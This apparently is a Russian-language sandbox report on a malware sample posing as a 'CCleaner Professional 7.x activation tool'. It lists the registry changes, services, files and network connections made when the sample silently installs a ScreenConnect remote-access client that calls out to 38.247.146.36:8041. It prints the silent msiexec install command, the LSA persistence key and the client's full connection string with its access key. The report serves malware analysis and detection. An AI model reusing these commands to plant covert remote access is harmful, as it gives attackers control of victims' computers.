Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Classes\sc-6e76f5e427998fa1\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (6e76f5e427998fa1)\ScreenConnect.WindowsClient.exe" "%1"'
- [HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\ScreenConnect Client (6e76f5e427998fa1)\ScreenConnect.WindowsAuthenticationPackage.dll'
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (6e76f5e427998fa1)] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (6e76f5e427998fa1)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (6e76f5e427998fa1)\ScreenConnect.ClientService.exe" "?e...
Создает следующие сервисы
- 'ScreenConnect Client (6e76f5e427998fa1)' %ProgramFiles(x86)%\ScreenConnect Client (6e76f5e427998fa1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=38.247.146.36&p=8041&s=5665ce30-28b6-45d9-82c1-596697d72fad&k=BgIAAACkAABSU0ExA...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\doublexinstaller\run-2820479473\installer.manifest.json
- %TEMP%\doublexinstaller\run-2820479473\payloads\ccleaner professional 7.x activation tool.exe
- %TEMP%\doublexinstaller\run-2820479473\payloads\project.msi
- %WINDIR%\installer\msi5a31.tmp-\screenconnect.installeractions.dll
- %WINDIR%\installer\msi5a31.tmp-\microsoft.deployment.windowsinstaller.dll
- %WINDIR%\installer\msi5a31.tmp-\microsoft.deployment.windowsinstaller.package.dll
- %WINDIR%\installer\msi5a31.tmp-\screenconnect.core.dll
- %WINDIR%\installer\msi5a31.tmp-\screenconnect.windows.dll
- %WINDIR%\installer\msi5a31.tmp-\microsoft.deployment.compression.dll
- %WINDIR%\installer\msi5a31.tmp-\microsoft.deployment.compression.cab.dll
- %WINDIR%\installer\msi5a31.tmp-\customaction.config
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
- %WINDIR%\temp\~df6b867511906b5eba.tmp
- %WINDIR%\installer\sourcehash{0d64f7f8-4c6d-1669-7efe-6a509640b117}
- %WINDIR%\temp\~df711c3e3bdc83f903.tmp
- %WINDIR%\temp\~df43324ecc5537a5bf.tmp
- %WINDIR%\temp\~df47be9e7b437e01b0.tmp
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.client.dll
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.clientservice.dll
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.core.dll
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windows.dll
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowsauthenticationpackage.dll
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowsbackstageshell.exe
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowsbackstageshell.exe.config
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowsclient.exe
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowsclient.exe.config
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowscredentialprovider.dll
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowsfilemanager.exe
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowsfilemanager.exe.config
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.clientservice.exe
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\app.config
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\client.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\client.resources
- %ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\system.config
- %WINDIR%\installer\{0d64f7f8-4c6d-1669-7efe-6a509640b117}\defaulticon
- %WINDIR%\temp\~dfd27e02aaba46d2ca.tmp
- %WINDIR%\temp\~df08bdf116f2273279.tmp
- %WINDIR%\temp\~df53ba03ab98b94ea4.tmp
- %WINDIR%\temp\~df533dbb35c29e8336.tmp
- %WINDIR%\temp\~dfeba4647c509cecac.tmp
- %WINDIR%\temp\~df5f7305a8bcbb3d90.tmp
- %WINDIR%\temp\~df987aac3a08014dfe.tmp
- %WINDIR%\temp\~dfcd5e54af4787244b.tmp
- %TEMP%\dup2patcher.dll
- nul
- %TEMP%\bassmod.dll
- %TEMP%\1911cdb02fcf13435872cfdd7434e2b1.dll
- %TEMP%\9ce5948f6f706809ad1df3709868df94.dll
- %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (6e76f5e427998fa1)\pae2twmk.newcfg
- %TEMP%\content\4500-4416-screenconnect.windowsclient.exe-22-08-13-062.dump
- %TEMP%\content\4500-4416-screenconnect.windowsclient.exe-22-08-13-201.dump
- %TEMP%\content\4500-4416-screenconnect.windowsclient.exe-22-08-13-271.dump
- %WINDIR%\temp\content\3940-1600-screenconnect.windowsclient.exe-22-08-18-872.dump
- %WINDIR%\temp\content\3940-1600-screenconnect.windowsclient.exe-22-08-18-985.dump
- %WINDIR%\temp\content\3940-1600-screenconnect.windowsclient.exe-22-08-19-001.dump
Удаляет файлы, которые сам же создал
- %WINDIR%\installer\msi5a31.tmp-\customaction.config
- %WINDIR%\installer\msi5a31.tmp-\microsoft.deployment.compression.cab.dll
- %WINDIR%\installer\msi5a31.tmp-\microsoft.deployment.compression.dll
- %WINDIR%\installer\msi5a31.tmp-\microsoft.deployment.windowsinstaller.dll
- %WINDIR%\installer\msi5a31.tmp-\microsoft.deployment.windowsinstaller.package.dll
- %WINDIR%\installer\msi5a31.tmp-\screenconnect.core.dll
- %WINDIR%\installer\msi5a31.tmp-\screenconnect.installeractions.dll
- %WINDIR%\installer\msi5a31.tmp-\screenconnect.windows.dll
Перемещает следующие файлы
- %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (6e76f5e427998fa1)\pae2twmk.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (6e76f5e427998fa1)\user.config
Сетевая активность
Подключается к
- '38.##7.146.36':8041
TCP
Другие
- '38.##7.146.36':8041
Другое
Создает и запускает на исполнение
- '%ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=38.##7.146.36&p=8041&s=5665ce30-28b6-45d9-82c1-596697d72fad&k=BgIAAACkAABSU0ExAAgAAAEAAQCVaN7xZAiH0H5EWkqSqyD5fQ%2fHweA2ewpwGnGhGtyIL9SiOBYpVlOO863LRcLo4rJYlBrAeJuXtJuITYQ7...
- '%TEMP%\doublexinstaller\run-2820479473\payloads\ccleaner professional 7.x activation tool.exe'
- '%ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowsclient.exe' "RunRole" "a27ddbd6-868e-4f82-a86f-b2811f7c6d27" "User"
- '%ProgramFiles(x86)%\screenconnect client (6e76f5e427998fa1)\screenconnect.windowsclient.exe' "RunRole" "08296371-bb3a-41e2-b053-5059cc3d0e40" "System"
Запускает на исполнение
- '<SYSTEM32>\msiexec.exe' /i "%TEMP%\DoubleXInstaller\run-2820479473\payloads\project.msi" /qn /norestart
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\Installer\MSI5A31.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_942046 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
